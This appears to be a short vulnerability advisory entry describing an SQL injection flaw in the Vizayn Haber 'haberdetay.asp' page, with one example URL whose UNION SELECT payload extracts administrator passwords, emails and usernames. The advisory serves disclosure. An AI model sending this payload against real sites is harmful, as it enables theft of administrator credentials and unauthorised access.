• info
• discussion
• exploit
• solution
• references

Vizayn Haber Haberdetay.ASP SQL Injection Vulnerability

An attacker can exploit this issue via a web client.

The following example is available to demonstrate this issue:

http://www.example.com/haberdetay.asp?id=1+union+select+0,PASSWORD,EMAIL,USERNAME+from+ADMIN